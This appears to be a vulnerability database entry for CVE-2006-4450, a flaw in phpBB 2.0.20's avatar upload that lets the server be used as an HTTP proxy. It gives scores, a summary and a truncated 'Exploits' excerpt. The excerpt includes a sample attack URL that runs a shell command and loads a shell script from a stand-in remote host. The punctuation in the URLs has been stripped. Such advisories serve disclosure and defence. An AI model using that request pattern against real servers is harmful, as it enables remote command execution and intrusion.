5.1
CVSSv2

CVE-2006-4450

Published: 30/08/2006 Updated: 20/07/2017
CVSS v2 Base Score: 5.1 | Impact Score: 6.4 | Exploitability Score: 4.9
VMScore: 515
Vector: AV:N/AC:H/Au:N/C:P/I:P/A:P

Vulnerability Summary

usercp_avatar.php in PHPBB 2.0.20, when avatar uploading is enabled, allows remote malicious users to use the server as a web proxy by submitting a URL to the avatarurl parameter, which is then used in an HTTP GET request.

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phpbb group phpbb 2.0.20

Exploits

source: wwwsecurityfocuscom/bid/17965/info phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy wwwexamplecom/somescriptphp?cmd=ls%20-la&xpl=wwwexample2com/someshelltxt ...